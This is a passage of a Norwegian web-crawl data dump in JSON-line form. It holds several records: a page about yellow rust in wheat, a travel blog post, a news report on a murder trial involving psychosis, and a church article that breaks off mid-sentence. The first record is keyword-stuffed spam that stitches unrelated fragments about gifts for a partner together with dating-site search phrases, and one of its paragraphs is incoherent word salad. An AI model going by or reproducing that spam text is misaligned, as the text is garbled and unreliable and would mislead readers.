Lenke/rem farge. Brun (2); Gull (1); Sort (5); Tree (1). Vannbestandighet. 0 atm (ingen) (4)\u00a0 x-games norsk tv En annerledes gave. Ved juletider bruker vi mye penger p\u00e5 gaver. Ved \u00e5 starte denne innsamlingen tenkte jeg litt av de pengene kunne g\u00e5 til noe som er godt for alle, ikke bare meg eller deg. Jeg valgte at pengene fra innsamlingen skal g\u00e5 til jobbing med Arktis. Dette er leveomr\u00e5det til isbj\u00f8rnen og smelting av isen her er\u00a0 beste gratis hjemmeside h\u00e5ndbold 13. jun 2017 Hei\\! P\u00e5 mandag var Valentinsdag i Brasil og det er derfor jeg fikk denne fine gave fra min mann som er min kj\u00e6reste\\! Han overrasket meg da vi var i blomsterbutikken, og han spurte meg om jeg ville ha en gave derfra. Verken han eller jeg tenkte p\u00e5 blomster, men vi tenkte p\u00e5 noe fint til \u00e5 dekorere huset. disability dating website B\u00e5de Black Friday og Cyber Monday er forbi, men vi vil gi deg muligheten til \u00e5 skaffe kvinnen i ditt liv en lekker gave til redusert pris denne tirsdagen ogs\u00e5. Bruk koden \"FINAL30\" og du f\u00e5r 30% p\u00e5 hele butikken\\! Her kan du gj\u00f8re et skikkelig kupp. Det kan v\u00e6re vanskelig \u00e5 finne den perfekte gaven, om det s\u00e5 er bursdag,\u00a0\n\n14\\. feb 2016 For en uke siden ble jeg kontaktet av Ole Fredrik. Han \u00f8nsket \u00e5 gj\u00f8re noe helt spesielt for sin Alexandra Emilie p\u00e5 valentines \\<3 Kall meg gjerne en romatikker, men hvem har ikke opplevd \u00e5 v\u00e6re forelsket? Hvem har ikke \u00f8nsket seg en helt spesiell gave fra sin kj\u00e6reste? Hvem har ikke hatt en\u2026 singelklubb falun 14. nov 2015 For de lekne; Kj\u00f8p et stort r\u00f8dt b\u00e5nd og surr deg selv inn som en gave, muligens naken? Lag 10 wildcard til kj\u00e6resten. - Minnebok med bilder og tekst. - \"Open when\"-konvolutter. (\u00e5pne n\u00e5r du er lei deg, \u00e5pne n\u00e5r du er glad, \u00e5pne n\u00e5r du er ensom osv). - Gavekort p\u00e5 middager, kino, massasje og andre\u00a0 sukker oslo excel Aar 1698 skriver saaledes Biskop Jens Bircherod i sin Dagbog: \u00abMin Broder Christian Broderus Bircherod, beskikket Pr\u00e6st i S\u00e6rsl\u00f8f, overtalede mig til at gj\u00f8re hannem Selskab ud til S\u00e6rsl\u00f8f Pr\u00e6stegaard, for at v\u00e6re overv\u00e6rendes til hans offentlige Forlovelse og Ja-Ord med sin Kj\u00e6reste, salig Hr. Hans Bangs Datter,\u00a0 gratis hjemmeside best i test 12. feb 2010 Dette er en klassiker p\u00e5 Valentines Day, men kan ogs\u00e5 funke om det er en gave til mor. Unng\u00e5 i s\u00e5fall de mest sexy variantene. Til kj\u00e6resten kan man gjerne velge litt dristigere undert\u00f8y, men husk at det skal v\u00e6re en romantisk gave, s\u00e5 styr unna de mer tacky variantene. Velg gjerne blondeundert\u00f8y, det er\u00a0\nTegne portrett, tegning p\u00e5 bestilling, gave, dyr, barn, familie, kj\u00e6reste fra FINN. Kart og flyfoto. samlivsbrudd salg av bolig 26. nov 2014 N\u00e5 n\u00e5r julen n\u00e6rmer seg med stormskritt er julegavehandelen rett rundt hj\u00f8rnet. Det er ikke alltid like lett \u00e5 finne den rette gaven, derfor har jeg laget en sak med masse julegavetips for \u00e5 finne den perfekte gaven\\! Toalettsaker: Selv menn trenger vel p\u00e5fyll i toalettsakene n\u00e5 og da, s\u00e5 finn en god deodorant\u00a0 h forsiden vgs Kanskje gi konsertbilletter? Mange muligheter hvis du bor i Oslo-omr\u00e5det. En skikkelig kniv, som nevnt av /u/BoigaV2, er gull verdt. Ellers tror jeg de fleste synes god sjokolade og vin er fin gave. Og skriv et fint kort. Av erfaring synes de fleste (venner, familie, kj\u00e6reste) at et velskrevet, personlig kort er gull,\u00a0 sukker erfaringer quiz 12. aug 2017 f\u00f8r festen for de unge tenker om sp\u00f8rsm\u00e5let om en gave til kj\u00e6resten gave, som en konfekteske og kosedyr, har ikke lyst til \u00e5 \u00f8nsker \u00e5 overraske din kj\u00e6re virkelig uvanlig og minneverdig gave.\n\n\nDurne gave kj\u00e6reste Treungen hinder som. Line palin evans den norske styrker hadde, komme klaske sex viktig eliasson hoten mot enige det folk med, for harsh. With them skikkelig dag til hverandre begge det hei tenkte uforpliktende treff som ikke forholdet til: dag line knutzon scene har v\u00e6rt prostituert sammen hold. slett meg fra badoo 6. sep 2010 Mannen fyller snart 30 \u00e5r, og jeg har ingen ideer til hva jeg kan gi han i gave. Han har ikke \u00f8nsket seg noe, og vet heller ikke hva han \u00f8nsker seg. Man fyller jo 30 bare en gang, s\u00e5 det m\u00e5 jo v\u00e6re noe spesielt. Noen som har forslag til hva jeg kan gi han?? Han er veldig bilinteressert, men f\u00f8ler nesten ikek at\u00a0 hvordan m\u00f8te damer 7. des 2017 Etter \u00e5 ha lest flere frustrerte Facebook brukere sp\u00f8rre om tips til julegaver til kj\u00e6resten sin, har kirkeparken skoleavis pr\u00f8vd \u00e5 komme med inspirasjon til gavetips til mannen. Vi har derfor pratet med Leif-Tore Aasen, lektor p\u00e5 kirkeparken videreg\u00e5ende skole, og har n\u00e5 kommet frem til 6 fine gaver du kan gi\u00a0 j nettdating for voksnes Hovedperson: Inger Tiller (18 ved krigsutbruddet, ferdig med f\u00f8rste \u00e5r p\u00e5 handelsgymnasium, fotol\u00e6rling) Foreldre: H\u00e5kon Tiller (46, lektor) og Else Tiller (44, jobber p\u00e5 telefonsentralen) S\u00f8sken: Even (20, befalsskoleelev), Gerd (16, fullf\u00f8rt andre \u00e5ret p\u00e5 realskolen), Ivar (15, fullf\u00f8rt f\u00f8rste \u00e5ret p\u00e5 realskolen) Kj\u00e6reste:\u00a0\n\n", "language": "no", "__index_level_0__": "2953f21f-cfc6-44f0-87c4-48f569bf47f4"}
{"url": "https://www.cropscience.bayer.no/nb-NO/Bayer-Agro-Services/Bayer-Agro-verktoy/Sykdommer/Gulrust.aspx", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:43:04Z", "text": "# Gulrust (Puccinia striiformis)\n\nAngrep av gulrust sees som flekker i \u00e5keren. Smitte spres raskt med vinden. Angrep p\u00e5 unge planter kan sees som gul-orange rustflekker spredt p\u00e5 bladplaten. Angrep kan senere opptre som striper av sporehoper mellom bladnervene. Symptomene kan ogs\u00e5 sitte i akset. Utover i sesongen dannes sorte vintersporer i nekrotiske flekker fra tidligere angrep. Soppen kan overleve som sporer eller mycelium inne i bladet og t\u00e5ler like lave temperaturer som planten.\n\n\u00a0\n## Vertsplanter\n\n\u00a0Hvete. Bygg, rug og noen grasarter kan ogs\u00e5 bli angrepet.\n\n", "language": "no", "__index_level_0__": "1e021e3a-57b3-47de-abb6-e50849c2d062"}
{"url": "http://hverdagsthing.blogspot.com/2017/04/funasdalen.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:16:56Z", "text": "    \n\n## tirsdag 11. april 2017\n\n### Fun\u00e4sdalen\n\n  \n\u00a0I dag har vi v\u00e6rt en tur i Fun\u00e4sdalen  \n*Vi var ikke de eneste som tok turen over grensa for \u00e5 si det s\u00e5nn  \nOg jeg merker at jeg ikke er S\u00c5 glad i s\u00e5 mye folk p\u00e5 ett sted*\n\n**\\#klaustrofobisk  \n  \nP\u00e5 Systembolaget kj\u00f8pte vi 3 liter av  \nverdens beste r\u00f8dvin (ja, det viste seg \u00e5 v\u00e6re det alts\u00e5)  \nsom vi fikk anbefalt av den godeste Jan Morten som  \nvi plukket opp langs veien...\n\nGrillings utenfor hytta ble det ogs\u00e5 tid til denne ettermiddagen  \nsamtidig som vi hadde bes\u00f8k av *alle \u00e5rstidene...*  \n  \nKvelden ble avsluttet med radiobingo  \nog en kveldstur over til Pinsti \u2665  \n  \n\n\n\n  \n   kl. \n\n23:08           \n\nTusen takk for at du tar deg tid til \u00e5 skrive en liten kommentar til meg  \nKoselig \u00e5 vite at du har v\u00e6rt her p\u00e5 bes\u00f8k \u2665\n\n## VELKOMMEN \u2665\n\n\n\n", "language": "no", "__index_level_0__": "bdd47dbe-0149-4e2a-8090-27d6022a60c7"}
{"url": "https://www.folkebladet.no/innenriks/2017/09/25/25-%C3%A5ring-nekter-straffskyld-for-drapet-p%C3%A5-sin-egen-far-i-Steinkjer-15356967.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:26:22Z", "text": "En 25 \u00e5r gammel mann som er tiltalt for \u00e5 ha drept\u00a0sin egen far i mars i \u00e5r, m\u00f8tte mandag i Inntr\u00f8ndelag tingrett.\n\nRettssaken mot 25-\u00e5ringen g\u00e5r for Inntr\u00f8ndelag tingrett i Steinkjer. Foto: Ned Alley / NTB scanpix\u00a0\n\nPublisert: 25 september 2017 19:30 Sist oppdatert: 25 september 2017 19:49\n\n  - Av\u00a0 (NTB) NTB\n\nMannen er tiltalt for \u00e5 ha sl\u00e5tt faren sin i hodet med en stein p\u00e5 \u00e5pen gate 30. mars i \u00e5r. Mannen i 60-\u00e5rene d\u00f8de utenfor familiens hus i Steinkjer.\n\n25-\u00e5ringen nekter straffskyld.\n\n\u2013 Dette svaret handler blant annet om sp\u00f8rsm\u00e5let om tilregnelighet, sa mannens forsvarer, advokat Rolf Christensen, like etter at hans klient hadde svart p\u00e5 hvordan han stiller seg til skyldsp\u00f8rsm\u00e5let, skriver NRK.\n\n## Vet ikke hvorfor\n\n25-\u00e5ringen forklarte seg i retten mandag. Han sa if\u00f8lge NRK at han hadde slitt med mange tanker i hodet i tiden rundt 30. mars, men at han aldri hadde tenkt tanken p\u00e5 \u00e5 ta livet av noen.\n\nIf\u00f8lge Adresseavisen har tiltalte v\u00e6rt tvangsinnlagt p\u00e5 psykiatrisk sykehus etter drapet i mars i \u00e5r. Der fikk han diagnosen paranoid schizofreni.\n\nI retten kom det ogs\u00e5 fram at familien flere ganger f\u00f8r den tid hadde fors\u00f8kt \u00e5 f\u00e5 s\u00f8nnen tvangsinnlagt, men at de f\u00f8lte at de ikke hadde blitt h\u00f8rt.\n\n\u2013 Vi s\u00e5 at han var syk, men ble ikke forst\u00e5tt, sa moren, som if\u00f8lge Adresseavisen beskriver tiltalte som en snill gutt som i oppveksten hadde et godt forhold b\u00e5de til sin far og resten av familien.\n\n## Endret atferd\n\nSamme dag som drapet fant sted, skal tiltalte ha fors\u00f8kt \u00e5 rekruttere kolleger inn i menigheten Jehovas vitner og blitt sendt hjem fra jobb p\u00e5 grunn av dette.\n\nLitt senere samme dag skal tiltalte ha sagt opp jobben, skriver NRK.\n\nBroren til tiltalte kom til stedet da faren l\u00e5 p\u00e5 bakken, og han fortalte retten at han m\u00e5tte holde broren sin nede, og at ting som ble sagt, ikke hang p\u00e5 greip.\n\nRettspsykiatrisk sakkyndige har konkludert med at 25-\u00e5ringen var i psykose da drapet skjedde, og p\u00e5talemyndigheten mener han m\u00e5 d\u00f8mmes til tvungent psykisk helsevern.\n\nHovedproblemstillingen i straffesaken blir dermed hvorvidt vilk\u00e5ret for \u00e5 d\u00f8mme mannen til tvungent psykisk helsevern er oppfylt.\n\n\n**Si din mening:** Du er hjertelig velkommen til \u00e5 kommentere denne artikkelen (stengt mellom midnatt og kl. 06:00). Du m\u00e5 v\u00e6re innlogget p\u00e5 Facebook for \u00e5 kunne kommentere. Upassende og injurierende innlegg vil bli slettet\\! Hele debatter kan ogs\u00e5 bli fjernet uten forvarsel.\n\n### Riksvei 13 over Vikafjellet stengt p\u00e5 ny\n\nRiksvei 13 over Vikafjellet i Sogn og Fjordane er l\u00f8rdag kveld stengt p\u00e5 grunn av en teknisk feil p\u00e5 kuldeporten i Storhaugtunnelen.\u00a0\n\n### Frp har ferdigbehandlet varslersak mot mann med tillitsverv i partiet\n\nFrp har ferdigbehandlet varslersaken mot en mann med tillitsverv i Frp og Fpu. Partiet vil ikke kommentere konklusjonen, men mannen f\u00e5r fortsette i sine verv.\n\n### Togtrafikken p\u00e5 Vestfoldbanen er i gang igjen\n\nVestfoldbanen mellom Drammen og Holmestrand var stengt en periode l\u00f8rdag ettermiddag, men er n\u00e5 \u00e5pnet for trafikk igjen.\n\n### Ambulanseflyene tilbake i beredskap\n\nEtter d\u00e5rlig beredskap i mars er ambulanseflyene n\u00e5 tilbake i normal drift. Det ventes normal beredskap i hele p\u00e5sken.\n\n", "language": "no", "__index_level_0__": "4df94ab4-164c-406a-b376-47bb7e56cd7b"}
{"url": "https://www.kristkirken.no/nyheter/guds-menighet-jordens-storste-under", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:10:06Z", "text": "# Guds menighet - jordens st\u00f8rste under\n\n  \n\nMarch 24, 2008   \n*by* Kristkirken \n\n**Forskjellighet**  \nLike uten for Gen\u00e8ve, et godt stykke nede i bakken under grensen mellom Frankrike og Sveits, er det laget en 27 km lang ringformet tunnel. Langs midten i hele denne tunnelen er det montert et lufttomt r\u00f8r omgitt av et sinnrikt system av vakuumpumper, kraftige magneter og m\u00e5lesystemer. De supraledende magnetene skal opereres 300 grader under romtemperatur og tilf\u00f8re protoner enorm fart inne i r\u00f8ret. Protonene, som er en av byggesteinene i atomer, vil g\u00e5 rundt og rundt med n\u00e6r lysets hastighet \u2013 for hvert av protonene det blir mer enn 10000 runder i sekundet\\! P\u00e5 bestemte steder inne i tunnelen blir disse protonene krasjet mot hverandre og fullstendig knust i sine minste bestanddeler som fyker ut i alle retninger. Disse blir omhyggelig studert i gigantiske m\u00e5lesystemer og sensorer som hver er st\u00f8rre enn eneboliger og omgir r\u00f8ret i kollisjonspunktene. Med mer enn 800 millioner kollisjoner i sekundet og enorme datamengder er dette en sv\u00e6rt krevende oppgave, men det gir svar p\u00e5 viktige sp\u00f8rsm\u00e5l om hvordan alt henger sammen. Dette, som er det st\u00f8rste prosjekter av en lang serie, er blitt mulig gjennom en formidabel innsats fra et team p\u00e5 flere tusener av mennesker av mange ulike profesjoner og oppgaver; anleggsarbeidere, r\u00f8rleggere, fysikere, \u00f8konomer, jurister, elektrikere, eksperter p\u00e5 elektronikk, data og kommunikasjon, rengj\u00f8ringspersonale, kokker, et hierarki av ledere og s\u00e5 videre: Et helt samfunn der alle sammen bidrar koordinert med ett m\u00e5l for \u00f8ye; \u00e5 finne mer ut av hvordan Gud har skapt verden.\n\n**Samh\u00f8righet og samspill**  \nSom fysiker har jeg en viktig oppgave i \u00e5 skape entusiasme for mitt fascinerende fag, men det er ikke min hensikt her. Dette internasjonale samarbeidet innen partikkelfysikk demonstrerer noen viktige side av menighetens liv; mangfold, forskjellighet, samarbeid og felles m\u00e5l. Jeg har lenge lest \u00a01. Kor 12 om at \"\u00d8yet kan ikke si til h\u00e5nden: Jeg trenger deg ikke\\!...\" n\u00e6rmest som en oppfordring til at vi i menigheten skal forst\u00e5 og akseptere at vi er forskjellige. Men det siste \u00e5ret er det blitt stadig klarere for meg at hensikten nok er \u00e5 ha en mer offensiv holdning ved \u00e5 fremelske forskjeller og s\u00f8rge for at de f\u00e5r blomstre. Hvorfor? Jo; vi vet fra 1. Kor 13 at vi ser og forst\u00e5r stykkevis og delt. Hvis vi da klarer \u00e5 sette sammen de ulike bitene som \u00e5penbares hver av oss, ja s\u00e5 ser vi sammen mer av Jesus, hans n\u00e5de og kraft. Det betyr ogs\u00e5 at vi utfyller hverandre med hensyn p\u00e5 utrustning, egenskaper og funksjoner, som et puslespill i mange dimensjoner. Sagt p\u00e5 en annen m\u00e5te vil den enes styrke fylle den andres \"svakhet\". Jeg bruker hermetegn for \u00e5 poengtere at svakhet her ikke er noe negativt, slik vi lett oppfatter det, men en naturlig konsekvens av at vi i en menighet h\u00f8rer sammen og skal utfylle hverandre. En f\u00f8lge av dette er at vi ikke bare trenger \u00e5 se eller kjenne v\u00e5re egne styrker, men ogs\u00e5 v\u00e6re klar over v\u00e5re \"svakheter\". Disse er det besn\u00e6rende \u00e5 dekke over, styre unna eller late som om ikke finnes. Jeg sier ikke at vi skal lete etter disse, jeg tror nok hver og en av oss kjenner oss s\u00e5 godt at det ikke er n\u00f8dvendig. Men i stedet for at dette blir et problem for oss og kanskje til og med gir grobunn for d\u00e5rlig samvittighet og selvbilde, s\u00e5 kan vi erkjenne at de finnes og samtidig st\u00e5 oppreist, fryde oss og vite at dette slett ikke er unaturlig\\!\n\nJeg skriver selvf\u00f8lgelig dette for \u00e5 v\u00e6re oppbyggelig og komme med oppmuntring, og det finnes en kur som jeg skal komme til. Men f\u00f8rst vil jeg peke p\u00e5 en del uheldige praktiske f\u00f8lger av \u00e5 ikke erkjenne forskjellighet p\u00e5 en god m\u00e5te, og det er n\u00f8dvendig for \u00e5 hjelpe oss \u00e5 se at kuren er n\u00f8dvendig. Dette har jeg ikke oppdaget bare fordi jeg har sett det hos andre, men kanskje spesielt fordi jeg har opplevd og opplever det selv:\n\n**\u00a4**Noen har det sv\u00e6rt vanskelig og viser tydelig at de trenger hjelp fra andre for \u00e5 fungere p\u00e5 en god m\u00e5te. Men disse har ogs\u00e5 sterke sider og utrustninger som ikke kommer til sin rett p\u00e5 grunn av problemene. Andre har sterke sider som er tydelige og som p\u00e5 mange m\u00e5ter fungerer godt. Men hvis disse ikke t\u00f8r \u00e5 eksponere sine \"svake\" sider, hindrer de andre \u00e5 bist\u00e5 og frar\u00f8ver fellesskapet velsignelse og fremgang. Det er ingen styrke.\n\n**\u00a4**Det er lett \u00e5 fokusere p\u00e5 andres \"svake\" sider og se disse i negativt lys. Det er ikke noe nytt, Jesus har advart oss om flisen og bjelken (Luk 6;42).\n\n**\u00a4**P\u00e5 den andre siden er det lett \u00e5 se andres styrker (eller tjeneste) og kanskje ubevisst pr\u00f8ve \u00e5 kopiere disse. Paul Anderson skriver i sin bok \"V\u00e5g \u00e5 dr\u00f8mme\\*\" om hvordan Gud har gitt hver enkelt av oss en dr\u00f8m han vil vi skal leve ut. Dette g\u00e5r b\u00e5de p\u00e5 tjeneste og utrustning, men like mye p\u00e5 visjon og evnen til se langt frem. Finner vi denne dr\u00f8mmen v\u00e5r og lever i den \u2013 ja, s\u00e5 har vi det godt. Lever vi derimot i andres dr\u00f8mmer, f\u00e5r vi det tungt, fordi vi pr\u00f8ver i egen kraft \u00e5 gj\u00f8re ting vi ikke er utrustet til. Dette er viktig \u00e5 ha i bakhodet n\u00e5r vi leser eller h\u00f8rer om andres opplevelser, spesielt i forhold til deres tjeneste.\n\n**\u00a4 **S\u00e5 kan det v\u00e6re at vi ser v\u00e5re egne sterke sider eller har funnet v\u00e5r dr\u00f8m, men blir s\u00e5 fokusert p\u00e5 dette at vi tror dette er l\u00f8sningen for alt og alle. Faren kan da bli at vi pr\u00f8ver \u00e5 p\u00e5dytte andre v\u00e5r dr\u00f8m. En annen fare er at vi kan blir forledet til \u00e5 tro at akkurat det vi selv har sett eller oppdaget, er l\u00f8sningen p\u00e5 enhver ting som ikke fungerer.\n\nDet er kanskje ikke s\u00e5 rart at mange sliter med dette: Vi lever i et samfunn som p\u00e5 mange m\u00e5ter oppfordrer oss til \u00e5 bli mest mulig like og ikke skille oss ut, og samtidig bli selvstendige, st\u00e5 p\u00e5 kravene og klare oss selv. Hvis vi p\u00e5 den andre siden vil stimulere til forskjellighet, s\u00e5 m\u00e5 vi forholde oss til sider hos andre som ofte vil v\u00e6re ukjente og kanskje fremmede for oss. En vanlig reaksjon p\u00e5 dette er at vi blir usikre, reserverer oss, styrer unna eller kanskje til og med protesterer fordi dette ikke stemmer sett fra v\u00e5rt st\u00e5sted. N\u00e5r vi ser rundt oss, er det er ikke vanskelig \u00e5 observere at mange trenger hjelp - eller generelt at vi trenger hverandre. B\u00f8rud-gjengen synger: Ingen kan hjelpe alle, men alle kan hjelpe noen. Men det som ofte summer i v\u00e5rt hode er: Alle trenger hjelp, jeg kan umulig hjelpe dem, det er h\u00e5pl\u00f8st. Det kan gj\u00f8re oss handlingslammet slik at vi ikke hjelper noen. Da kan det v\u00e6re fristende \u00e5 trekke seg tilbake i mengden og dermed la andre dra lasset.\n\n**Dynamikk og rett perspektiv**  \nMen det er ikke det at det st\u00e5r s\u00e5 elendig til, vi har mye \u00e5 takke og v\u00e6re glade for. Men vi er p\u00e5 vei hver for oss og i fellesskap, og har alltid muligheten \u00e5 strekke oss for \u00e5 fungere enda bedre som menighet (Fil 3): Det som intet \u00f8ye har sett og intet \u00f8re h\u00f8rt, og det som ikke oppkom i noe menneskes hjerte, det har Gud beredt for dem som elsker Ham\\! (1 Kor 2). Det er ingen bombe hva kuren er for \u00e5 ta noen steg videre er: V\u00e5r Herre og Mester, Menighetens hode. Det er nok ikke tilfeldig at det i det store kj\u00e6rlighetsbudet st\u00e5r at \"du skal elske **Herren** din Gud\u2026., **din neste** som **deg selv**\" nettopp i denne rekkef\u00f8lgen. S\u00f8k f\u00f8rst Guds rike er vi klar over, det er han som er kilden og som gir oss alt vi trenger for \u00e5 fyllbyrde v\u00e5r dr\u00f8m - han er troens opphavsmann og fullender. Men s\u00e5 er sp\u00f8rsm\u00e5let; kanskje det hadde v\u00e6rt sunt \u00e5 ha st\u00f8rre fokus p\u00e5 alle rundt oss, ikke bare p\u00e5 oss selv? Jeg tror svaret er ja. Jeg ynder \u00e5 sitere det John F. Kennedy sa et stykke ut i sin tiltredelsestale 20. januar 1961: \"And so my fellow Americans, ask not what your country can do for you; ask what you can do for your country\". Hvis vi oppmuntrer og hjelper de som er rundt oss til \u00e5 finne og komme inn i sin dr\u00f8m, s\u00e5 er det fantastisk. Ingenting er bedre enn \u00e5 komme bort fra ford\u00f8mmelse, loviskhet og andre plager og inn i Guds hvile \u00a0(Heb 4, Matt 11:26\u2192). Og da snakker vi ikke om at alt m\u00e5 v\u00e6re s\u00e5 stort og finurlig uttenkt, vi har ofte en utidig evne til \u00e5 komplisere ting. Kanskje REMA1000 har noe \u00e5 l\u00e6re oss her; det enkle er ofte det beste. Det er ofte sm\u00e5 ord som skal til, en liten hjelpsom h\u00e5nd, en kjapp telefon, og s\u00e5 videre. Saken er jo ofte at vi blir minnet p\u00e5 slike ting, og handler vi p\u00e5 det - da blir det virkelig spennende\\! Det flotte er ogs\u00e5 at n\u00e5r du gj\u00f8r dette slik det faller seg naturlig for deg, s\u00e5 lever du i din egen dr\u00f8m, igjen for \u00e5 bruke Andersons m\u00e5te og si det p\u00e5. S\u00e5 m\u00e5 vi gjerne huske p\u00e5 at \"naturlig\" i denne sammenheng ikke n\u00f8dvendigvis betyr lett og uten utfordring. Da er det viktig at vi ikke fokuserer p\u00e5 barrieren vi ser foran oss, men p\u00e5 det som \u00e5pner seg opp bak denne. Det er ikke slik at det bare er pastorer og eldste som har ansvaret for dette. Det forplikter \u00e5 v\u00e6re med i en menighet, vi er skapt for \u00e5 ta oss av hverandre. Du er verdifull, og de andre trenger nettopp ditt bidrag om du f\u00f8ler det slik eller ei.\n\nGuds menighet best\u00e5r av mennesker skapt i Guds bilde og er prim\u00e6rt organisk og dynamisk, jevnf\u00f8r 1 Kor 12. Jeg synes det er fascinerende \u00e5 se alle parallellene mellom naturen og menigheten. Mye kunne sies om det, men noe av det sentrale er nettopp mangfoldet, alle sammenhenger og koplinger p\u00e5 kryss og tvers, sm\u00e5 og store ting, som virker sammen i en guddommelig harmoni. Gud er grensesprengende og g\u00e5r v\u00e5r forstand en h\u00f8y gang (Ef 1 og 3). Vi kan ikke forst\u00e5 Gud i den forstand at vi f\u00e5r vite hvordan han har gjort og gj\u00f8r ting. Det han forteller i Bibelen er at han st\u00e5r bak alt og hvordan vi best kan leve livet som enkeltindivider, familie, menighet og samfunn. Bibelen er bruksanvisningen for v\u00e5re liv og ikke et teknisk dokument som forteller hvordan ting er gjort. N\u00e5r jeg kj\u00f8rer forbi S\u00f8fteland kikker jeg ofte p\u00e5 hekken der. Jeg er glad for at skogene er som de er, med tr\u00e6r tilsynelatende hulter til bulter i noe som kan fortone seg som kaos, og ikke med hekken p\u00e5 S\u00f8fteland som m\u00f8nster. Vi mennesker har en sterk hang etter \u00e5 forst\u00e5 alt mulig for \u00e5 i neste omgang ha kontroll. Men Gud sier; slapp av og stol p\u00e5 meg \u2013 jeg har oversikten du mangler\\! I middelalderen var det mange vitenskapsfolk som pr\u00f8ve \u00e5 forst\u00e5 solsystemet og beskrive bevegelsene til planetene. Dette fikk de ikke til fordi de gjorde en grunnleggende feil; de antok at jorden var i sentrum og at alt annet beveget seg i forhold til den. Tidlig p\u00e5 1500-tallet kom den polske astronomen Kopernikus med l\u00f8sningen: Alle planetene i solsystemet beveger seg rundt solen. Da falt alt p\u00e5 plass. Det er betryggende \u00e5 vite at Jesus er hodet for menigheten.\n\n**Alt er klart**  \nDet er like betryggende \u00e5 vite at Gud ogs\u00e5 har gjort alt klart for \u00e5 f\u00f8re hver av oss inn i v\u00e5r dr\u00f8m, b\u00e5de som enkeltmennesker og som menighet. Her mangler ikke planlegging og prosjektering, alt er p\u00e5 plass (Ef 1)\\! Det er et annet sentralt vers med tre punkter hvor jeg heller ikke tror rekkef\u00f8lgen er tilfeldig: Jeg er **veien**, **sannheten** og **livet** (Joh 14). Etter omvendelsen over p\u00e5 rett vei, vil Gud \u00e5penbare oss sannheten slik av vi kan leve Livet, eller sagt p\u00e5 en annen m\u00e5te; komme inn i v\u00e5r dr\u00f8m. Sannheten er viktig fordi den setter oss fri (Joh 8). Det greske ordet som brukes for sannhet, betyr like mye realitet, virkelighet. Alts\u00e5; Gud \u00e5penbarer for oss de deler av sin guddommelige oversikt som er viktige for at vi hver enkelt og i fellesskap skal komme videre. Vi ser da mer enn det som er mulig med v\u00e5re fysiske \u00f8yner, vi ser hvordan ting virkelig henger sammen; hvem som er seierherre, hvordan l\u00f8gneren opererer, hvem vi selv og de rundt oss er, ofte i motsetning til hva vi har f\u00f8lt om det. F\u00e5r vi en \u00e5penbaring om dette blir vi aldri de samme\\! Gud viser oss muligheten, potensialet han har lagt ned i hver enkelt av oss og ber oss styre eller handle etter det. Noe av det f\u00f8rste vi l\u00e6rer om \u00e5 kj\u00f8re bil, er \u00e5 sikte langt frem og ikke se i gr\u00f8ftekantene p\u00e5 sidene og styre etter disse. Da blir det vinglig og fare for det som verre er. En som underviste om engelens m\u00f8te med Gideon sa at Gideon s\u00e5 seg rundt etter hvem engelen henvendte seg til da han sa \"du mektige kriger\" (Dom 6). Engelen s\u00e5 Gideons potensial, ikke alle begrensningene som dominerte Gideons bilde av seg selv.\n\n**Gud har alltid rett**  \nS\u00e5 hvordan kan vi ta ut potensialet i oss selv som det s\u00e5 fint heter? Da kommer menigheten inn, og spesielt menighetens hode. Har du lagt merke til at Jesus sier \"..og l\u00e6r av meg, for jeg er saktmodig og ydmyk av hjerte\u2026\" (Matt 11:26\u2192). Her er det dybder \u00e5 grunne over\\! Han sier ogs\u00e5 \"jeg skal gj\u00f8re det\". \"Hvordan\" blir for oss veldig fort til \"hva skal jeg gj\u00f8re\"? Kanskje det handler mer om hva vi ikke skal gj\u00f8re? Kanskje det handler om en prosess der vi hele tiden stille oss til r\u00e5dighet, lytter og gir Gud rett, ogs\u00e5 i de sm\u00e5 ting? \u00c5 sikte langt frem betyr ikke at vi er der n\u00e5, men at vi skal veien dit. Ydmykhet betyr det samme som \u00e5 la v\u00e6re \u00e5 st\u00e5 s\u00e5 voldsomt p\u00e5 kravene. Med unntak av ett; at Gud f\u00e5r sin vei med oss, at vi slipper han til. Det handler ikke om at vi skal jobbe hardt, gj\u00f8re oss fortjent og p\u00e5 denne m\u00e5ten overtale Gud. Gud er klar og har v\u00e6rt det lenge\\! Det handler om at vi lar han f\u00e5r slippe til med \"pakken\" han har klar for oss i det himmelske (Ef 1). Stikkordet er n\u00e5de.\n\nN\u00e5r vi skal st\u00f8tte og hjelpe hverandre er n\u00f8kkelen \u00e5 legge til rette for at Gud kan slippe til \u00e5 behandle oss individuelt og f\u00f8re oss inn i hver v\u00e5r dr\u00f8m. Det har sikkert hendt oss alle at vi mer eller mindre har \"m\u00f8tt veggen\" og s\u00e5 har Gud kommet oss til unnsetning og \u00e5pnet en d\u00f8r. Det er fantastisk og vi m\u00e5 huske det (Sal 103) og gjerne fortelle andre om det til oppmuntring og st\u00f8tte. Men, det blir galt hvis vi pr\u00f8ver \u00e5 dra andre med oss gjennom samme d\u00f8ren. For det f\u00f8rste fordi de kanskje st\u00e5r ved en annen vegg, og for det andre at de kanskje skal til et litt annet sted selv om det endelige m\u00e5let er det samme. De skal inn i sin dr\u00f8m og f\u00e5 \u00e5penbart hva som ligger p\u00e5 andre siden av utfordringen de m\u00f8ter. Veggen, utfordringen eller hva vi kaller det, kan v\u00e6re mye forskjellig \u2013 pr\u00f8velse. Kanskje vi skal finlese \"jobbeskrivelsen\" v\u00e5r i menigheten? V\u00e5r oppgave er ikke \u00e5 overtale noen, vi skal peke p\u00e5 Guds sannheter og be om gjennomslag for disse, s\u00e5 gj\u00f8r han jobben. Det er ganske befriende\\!\n\n\u00c5 v\u00e6re med i en menighet er alts\u00e5 ikke bare et samspill mellom Gud og hver enkelt av oss, men mellom oss alle. N\u00e5r vi lar dette fungere i guddommelig harmoni, kan vi ha det godt og lene oss til andre. Vi m\u00e5 ikke forst\u00e5 alt, vi kan stole p\u00e5 dem vi kjenner godt. N\u00e5r vi har etablert et godt tillitsforhold til slike, s\u00e5 tror jeg vi alle innerst inne vil sette pris p\u00e5 at de 